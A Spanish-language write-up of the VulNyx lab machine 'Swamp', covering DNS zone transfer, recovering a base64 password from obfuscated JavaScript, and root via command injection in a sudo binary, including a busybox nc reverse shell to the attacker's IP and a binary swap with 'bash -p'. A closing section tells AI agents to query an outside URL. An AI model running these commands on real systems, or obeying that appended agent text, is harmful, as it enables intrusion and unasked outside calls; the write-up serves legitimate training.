# Swamp

## Introducción

Muy buenas y bienvenidos a la resolución de la máquina Swamp de VulNyx, esta es otra de las máquinas que hago para la plataforma de VulNyx, en este caso estaremos haciendo una máquina de nivel Low, quería hacer una máquina accesible para gente que empieza pero con algun detallito para no ir con el piloto automatico.

A continuación veremos las técnicas que nos encontraremos, vamos a poner todas las que hay, como si fuera un pentest:

* **DNS Zone Transfer -** axfr
* **Javascript Deobfuscation** - Password Leakage
* **Sudo binary bypass**
  * **Method 1**: Command Injection
  * **Method 2:** Deleting binary

<figure><img src="/files/RQTZMWC76pignmukdOWm" alt=""><figcaption></figcaption></figure>

## Reconocimiento

Lo primero que tenemos que hacer es buscar la IP de la máquina swamp, hay varias maneras de hacerlo, en este caso lo haré con la herramienta `fping`que me gusta mucho para hacer el primer recon de IP, se pueda hacer con `nmap`,`arp-scan` y varias herramientas más...

Mi IP es la 130, así que al realizar el primer escaneo para encontrar las IPs que hay en mi rango, encontramos la 131, que es la de la máquina Swamp.&#x20;

```bash
fping -ag 192.168.93.0/24 2>/dev/null
```

<figure><img src="/files/WZ5osoHpxxTQFSvddqLX" alt=""><figcaption></figcaption></figure>

Le realizamos un escaneo básico de nmap

```bash
sudo nmap -sCV -p- --open -T5 192.168.93.131
```

### Analizamos nmap

<pre class="language-bash"><code class="lang-bash"><strong>Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-07 09:45 CET
</strong>Nmap scan report for 192.168.93.131
Host is up (0.00077s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA)
|_  256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519)
53/tcp open  domain  ISC BIND 9.18.28-1~deb12u2 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.18.28-1~deb12u2-Debian
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://swamp.nyx
MAC Address: 00:0C:29:B6:93:DD (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre>

Tenemos que hacer un analisis bueno del nmap cuando nos enfrentamos a una máquina, vamos a separarlo por puerto, versión y con lo que nos ha sacado de información

```bash
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
Nada importante
53/tcp open  domain  ISC BIND 9.18.28-1~deb12u2 (Debian Linux)
Hay el puerto 53, eso quiere decir que hay un DNS funcionanado, por lo tanto hay que
mirar bien este puerto.
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
Importante --> _http-title: Did not follow redirect to http://swamp.nyx
Tenemos un dominio swamp.nyx, hay que añadirlo en el /etc/hosts y entonces veremos
el redirect a donde nos lleva.
```

Añadimos al /etc/hosts el `swamp.nyx`

<figure><img src="/files/PEtF7enndXAGHvIShevu" alt=""><figcaption></figcaption></figure>

Ahora si accedemos a la página web que ponia que rederigia a swamp.nyx y que no podía acceder, veremos lo siguiente:

<figure><img src="/files/NzCvdxoVrHlW9t8icXvH" alt=""><figcaption></figcaption></figure>

Veremos en profundidad está sección más a delante, ahora vamos a centrarnos en que tenemos un nombre de dominio enumerado y sabiendo que hay un DNS corriendo, lo siguiente sería comprobar que hay montado.

## DNS Zone Transfer - axfr

Uno de los primeros checks que hay que hacer es comprobar es si el DNS está mal configurado la transferencia de zona, antes de seguir vamos a entender que es una Transferencia de Zona y que sucede cuando no esta bien configurada.

### ¿Qué es una transferencia de zona?

Esta se suele llamar `axfr` , este nombre se le da por el tipo de solicitud, el cual se utiliza para cuando el DNS principal tiene que replicar la base de datos en los siguientes escenarios:

* Al iniciar el servicio DNS al servidor secundario.
* Cuando caduca el tiempo de actualización
* Cuando se guardan los cambios en el archivo de zona principal y hay una notificación lista.

Ahora que entendemos como funciona, si esta transferencia de datos ha sido mal configurada podemos intentar hacer una solicitud `axfr` al dominio `swamp.nyx` y obtener toda la configuración de dominio DNS.

```bash
dig axfr swamp.nyx @192.168.93.131
```

<figure><img src="/files/ZB1SEAmW6ofoNGjVHYkD" alt=""><figcaption><p>Transferencia de zona efectuada correctamente</p></figcaption></figure>

Como podemos ver, hemos sacado la información del DNS principal y obtenido subdominios.

Pero antes de avanzar, voy a mostrar el por qué esto sucede en términos técnicos (configuración interna del servidor).

Esta configuración es encontrada en el path `/etc/bind/named.conf`

```bash
options {
    directory "/var/cache/bind";
    allow-query { any; };    # Permite que cualquiera realice consultas DNS
    allow-transfer { any; }; # Permite transferencias de zona a cualquier cliente (VULNERABLE)
    recursion yes;
};

zone "swamp.nyx" IN {
    type master;
    file "/etc/bind/db.swampo.nyx";
    allow-transfer { any; }; # Permite transferencias de zona a cualquier cliente (VULNERABLE)
};
```

En esta máquina obviamente ha sido exagerado para que funcione el 100% de la transferencia (es super vulnerable :smile:).

### Prevención y explicación detallada

Pero aquí muestro como debería configurarse y las query clave para que sea segura.

```bash
# /etc/named.conf 
acl trusted-nameservers {
  192.168.0.10; //ns2 
  192.168.1.20; //ns3 
}; 
zone "swamp.nyx" { 
  type master; 
  file "zones/swamp.nyx"; 
  allow-transfer { trusted-nameservers; };
};
```

La clave es la primera parte, estamos creando una sección de servidores a los que podemos fiarnos, es decir los **DNS secundarios** que van a recibir la petición **axfr**, y la otra parte más importante es la query `allow-transfer { trusted-nameservers; };` que antes estaba en `any` y ahora en los **nameservers** que hayamos puesto arriba, si otra petición **axfr** es solicitada y no es uno de esos **nameservers**, esta no funcionara.

Cogemos los subdominios y los ponemos en el `/etc/hosts`

Para sacarlo más fácil utilizamos la siguiente query

```bash
dig axfr swamp.nyx @192.168.93.131 | awk '{print $1}' | grep -E '^[a-zA-Z0-9.-]+\.$' | sed 's/\.$//'
```

* **`dig axfr swamp.nyx @192.168.93.131`**:
  * Ejecuta una transferencia de zona (AXFR) desde el servidor DNS con dirección `192.168.93.131` para el dominio `swamp.nyx`.
* **`awk '{print $1}'`**:
  * Extrae solo la primera columna de la salida, que usualmente contiene los nombres de dominio (subdominios incluidos).
* **`grep -E '^[a-zA-Z0-9.-]+\.$'`**:
  * Filtra las líneas que parecen nombres de dominio válidos. El patrón regular asegura que se seleccionen solo líneas que tengan caracteres alfanuméricos, guiones o puntos, y terminen con un punto.
* **`sed 's/\.$//'`**:
  * Elimina el punto final (`.`) de cada línea. La expresión regular `\.$` busca un punto al final de la línea, y `s/\.$//` lo reemplaza con nada.

<figure><img src="/files/8eNerL9c4HA6hSSDZ3Vw" alt=""><figcaption></figcaption></figure>

## Web Recon

Ahora vamos a acceder a cada uno de ellos, antes de eso abrimos el BurpSuite y mi recomendación es hacerlo con el navegador que te da el mismo programa, a mi al menos se me hace más fácil que tener que utilizar el [**FoxyProxy**](https://getfoxyproxy.org/).

<figure><img src="/files/aN2fkivWOlzND3rmCSEh" alt=""><figcaption></figcaption></figure>

Al ser un writeup vamos un poco a saco en esta parte, porque todos los subdominios son un poco de ambientación de la pelicula Shrek, el subdominio importante es farfaraway.swamp.nyx que es el que encontraremos el path para avanzar, no obstante comentar que mientras tenemos el BurpSuite abierto, entrar en cada subdominio, BurpSuite por defecto hace el crawling básico a la página mostrando los directorios - archivos que se cargan por defecto en la página, o si la trasteamos un poco irá apareciendo en el `Target > Sitemap`:

<figure><img src="/files/2X2KP5OnPfxtVTFIai2U" alt=""><figcaption></figcaption></figure>

De hecho, esto lo comento porque si os dais cuenta el subdominio `farfaraway` simplemente por acceder a la página ya nos aparece el archivo que vamos a analizar.

### JavaScript Deobfuscation - Password Leakage

Accedemos desde la página web y entramos al `script.min.js`

<figure><img src="/files/yaFruxRE7ukvDTxPS10P" alt=""><figcaption></figcaption></figure>

Cuando entramos realmente no podemos leer nada del script ni entenderlo:

<figure><img src="/files/FsW7vqTEdiVRIwJCFFsV" alt=""><figcaption></figcaption></figure>

Lo cogemos y vamos a la página <https://beautifier.io/> que nos permitirá ver un poco mejor el script, esta te lo pone "bonito" para que sea más leíble.

<figure><img src="/files/YFqvwTkNasWIJQTVTJ9l" alt=""><figcaption></figcaption></figure>

Seguimos sin entender mucha cosa, esto es porque ha sido ofuscado, si nos fijamos, los ofuscadores suelen dejar un rastro al principio del script:

<figure><img src="/files/nUhPQplIlJoMK230Jh1J" alt=""><figcaption></figcaption></figure>

Buscamos en google Unpacker Javascript: <https://matthewfl.com/unPacker.html>&#x20;

<figure><img src="/files/TuzmhCHOqYVOImnEnCEB" alt=""><figcaption></figcaption></figure>

Ponemos el JavaScript y lo deobfuscamos y lo ponemos en el beautify para ver si podemos leer algo mejor.

<figure><img src="/files/1NIv8S1y1FgFSj3vrgB5" alt=""><figcaption></figcaption></figure>

<pre class="language-javascript"><code class="lang-javascript">! function() {
    var e;
    new Promise((e, t) => {
        setTimeout(() => {
            e("Value is positive: 5")
        }, 1e3)
    }).then(e => {
        console.log(e)
    }).catch(e => {
        console.error(e)
    });
    let t = async e => {
        try {
            let t = await (await fetch(e)).json();
            console.log("Data fetch success:", t)
        } catch (o) {
            console.error("Error fetching data:", o)
        }
    };
    t("https://jsonplaceholder.typicode.com/posts"), (() => {
        let e = document.createElement("div");
        e.innerHTML = "Dynamically added text to the DOM", document.body.appendChild(e)
    })();
    class o {
        constructor(e, t) {
            this.name = e, this.sound = t
        }
        speak() {
            console.log(`$
				{
				this.name
			}
			says:$
				{
				this.sound
			}
			`)
        }
    }
    let a = new o("Dog", "Woof"),
        l = new o("Cat", "Meow");
    a.speak(), l.speak();
    let r = [1, 2, 3, 4, 5],
        n = r.map(e => 2 * e);
    console.log("Doubled numbers:", n);
    let s = r.reduce((e, t) => e + t, 0);
    console.log("Sum of numbers:", s);
    console.log("Updated user:", {
        name: "John",
        age: 30,
        country: "USA"
    }), setInterval(() => {
        console.log("This message repeats every 2 seconds")
    }, 2e3), document.addEventListener("click", () => {
        console.log("Click detected on the document")
    });
    let g = new Date;
    console.log("Current date:", g.toString());
    let i = new Date(g.getFullYear() + 1, g.getMonth(), g.getDate());
    console.log("Future date:", i.toString());
    let c = e => {
        e % 2 == 0 ? console.log(e + " is even") : console.log(e + " is odd")
    };
    [10, 21, 32, 43, 54].forEach(c), setTimeout(() => {
        console.log("This runs after 3 seconds")
    }, 3e3);
    (e => {
        let t = e(10, 20);
        console.log("Result from higher-order function:", t)
    })((e, t) => e + t);
    let {
        firstName: d,
        lastName: u,
        age: h
    } = {
        firstName: "Jane",
        lastName: "Doe",
        age: 25
    };
    console.log(`Destructuring:$
		{
		d
	}
	$
		{
		u
	}
	,Age:$
		{
		h
	}
	`);
    let m = new Map;
    m.set("name", "Shrek"), m.set("age", 30), m.set("location", "Far Far Away"), console.log("Map values:"), m.forEach((e, t) => {
        console.log(t + ": " + e)
    });
    let p = new Set([1, 2, 3, 4, 4, 5]);
    console.log("Set values (no duplicates):", Array.from(p));
    let $ = function* e() {
            yield "First part", yield "Second part", yield "Third part"
        }
        ();
    console.log($.next().value), console.log($.next().value), console.log($.next().value);
<strong>    console.log("Hello, John! Welcome to the page.");
</strong>    Password: c2hyZWs6cHV0b3Blc2FvZWxhc25v;
    let f = JSON.parse(' {
                "name": "Shrek",
                "age": 30
            }
            ');
            console.log("Parsed JSON data:", f), "geolocation" in navigator ? navigator.geolocation.getCurrentPosition(e => {
                console.log("Your current location:", e.coords.latitude, e.coords.longitude)
            }, e => {
                console.error("Error getting location:", e)
            }) : console.log("Geolocation not available");
            let v = "    JavaScript is fun!   ", y = v.trim(); console.log("Trimmed string:", y);
            let S = v.toUpperCase(); console.log("Uppercase string:", S), localStorage.setItem("user", JSON.stringify({
                name: "Shrek",
                age: 30
            }));
            let w = JSON.parse(localStorage.getItem("user")); console.log("Stored user in localStorage:", w), console.log("Random number:", Math.random()), console.log("Square root of 16:", Math.sqrt(16)), console.log("PI value:", Math.PI)
        }
        ();
</code></pre>

En la línea 105 encontramos un `Password: c2hyZWs6cHV0b3Blc2FvZWxhc25v;` que parece un **base64**.

Cogemos la query `c2hyZWs6cHV0b3Blc2FvZWxhc25v` y la podemos desencriptar con:

```bash
echo -n "c2hyZWs6cHV0b3Blc2FvZWxhc25v" | base64 -d
```

<figure><img src="/files/mPumubr8757TxicBjlfK" alt=""><figcaption></figcaption></figure>

Obtenemos la contraseña de un usuario Shrek : `putopesaoelasno`.

Intentamos hacer login con la contraseña obtenida.

<figure><img src="/files/7WTGClrs3akJCXQ59Neq" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

### Method 1 : Bypass parameter via Command Injection

Estando en el directorio `/home/shrek` tenemos un binario con SUID.

<figure><img src="/files/0X3SFQZolyBP2IUJCUh9" alt=""><figcaption></figcaption></figure>

Viéndolo así a muchos os puede venir a la cabeza que si este binario ejecuta de alguna manera algun comando del sistema y este comando a la hora de programarlo ha sido escrito de manera relativa y no absoluta, podría haber un `Path Hijacking`.

* Absoluta --> **/usr/bin/curl**
* Relativa --> **curl**

Vamos a ver que se ejecuta de manera básica:

<figure><img src="/files/zMi5QtCkRt82zpPUbAbX" alt=""><figcaption></figcaption></figure>

Abajo nos pone un ejemplo de como podríamos hacer una petición a las cabeceras de X página web, probamos a ver que hace:

```bash
./header_checker --url "google.com"
```

<figure><img src="/files/CS9UAG4QINbD1vSnfq0y" alt=""><figcaption></figcaption></figure>

Parece que lo que está haciendo es un curl, lo dicho, si el curl estuviera `curl`en vez de `/usr/bin/curl` se podría hacer, pero en este caso no, ya que simplemente puse que fuera SUID para engañar un poquito y perdierais el tiempo con el **Path Hijacking**, ya que es Low :tada:.

Tenemos que ver el sudo de usuario Shrek.

```bash
sudo -l
```

<figure><img src="/files/cQQcaKMi2jx91KC0QCLo" alt=""><figcaption></figcaption></figure>

Podemos ejecutar sin poner contraseña el binario `/home/shrek/header_checker` como root, tenemos que ver si alguno de los parámetros pueda ser abusado de alguna manera que nos pueda dar root.

Ninguno de los parámetros parece ser posible abusarlo para nuestra ventaja, una de las opciones que podemos hacer es que sabiendo que ejecuta el comando curl por detrás, es bypassear con algun operador el comando e inyectar un comando después del curl, ya que por detrás realmente esta haciendo esto:

```bash
/usr/bin/curl -I --max-time 10 google.es
```

<figure><img src="/files/ddveoYpZJHMPuLgymWZk" alt=""><figcaption></figcaption></figure>

Nosotros podríamos inyectar después de este comando un whoami para ver si el comando curl ha sido sanitizado y no permite este tipo de inyecciones:

Por detrás sería:

```
/usr/bin/curl -I --max-time 10 google.es; whoami
```

Comando en el binario:

```bash
sudo /home/shrek/header_checker --url "google.es; whoami"
```

<figure><img src="/files/ZiZf2Y8aoC17bZBGITQb" alt=""><figcaption></figcaption></figure>

Por detrás en el binario se ha representado de la siguiente manera:

```bash
sudo /home/shrek/header_checker --url "/usr/bin/curl -I --max-time 10 google.es; whoami"
```

Nosotros nos aprovechamos que no ha sido sanitizado correctamente y permite inyectar un comando después del curl, esto se arreglaría con una blacklist y whitlist vetando los operadores comunes.

**Ejemplo**

```bash
blacklist=(";" "|" "&" "`" "$(" "{" "}" "[" "]" "<" ">")
```

Ahora sería tan fácil como mandarnos una reverse shell, en vez de poner el whoami ponemos la vieja confiable `busybox` y recibimos la shell.

```bash
sudo /home/shrek/header_checker --url "google.es; busybox nc 192.168.93.130 4444 -e sh"
```

<figure><img src="/files/kEzPzw9k16yajfR6YFrR" alt=""><figcaption><p>Conseguimos la shell como root</p></figcaption></figure>

### Method 2: Deleting binary

Nosotros al ser usuario Shrek y tener en posesión total de la carpeta `/home/shrek`, aunque haya un archivo que lo haya creado root, tenemos los permisos para borrarlo sin problemas.

Aquí viene el segundo método de escalar privilegios, sabemos que podemos ejecutar como root sin proporcionar el binario `/home/shrek/header_checker`, así que si lo eliminamos y ponemos un archivo que se llame exactamente igual que este y ponemos lo que queramos, podemos hacer que ese **header\_checker** nuevo tenga por ejemplo `chmod u+s /bin/bash` o una `bash -p`, esto nos daría acceso directo a root.

<figure><img src="/files/KmWc8SgYGo05qdGLj2L4" alt=""><figcaption></figcaption></figure>

Creamos el nuevo:

```bash
touch header_checker | echo -n "/bin/bash -p" > header_checker
```

<figure><img src="/files/c6X9VIEYNuXpGfY91wEI" alt=""><figcaption></figcaption></figure>

## Despedida

Aquí acaba el writeup de la máquina Swamp, espero que la hayáis disfrutado y sobretodo hayáis aprendido mucho que siempre es mi intención.&#x20;

Chao :smile:


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://j4ckie0x17.gitbook.io/notes-pentesting/writeups/vulnyx/swamp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
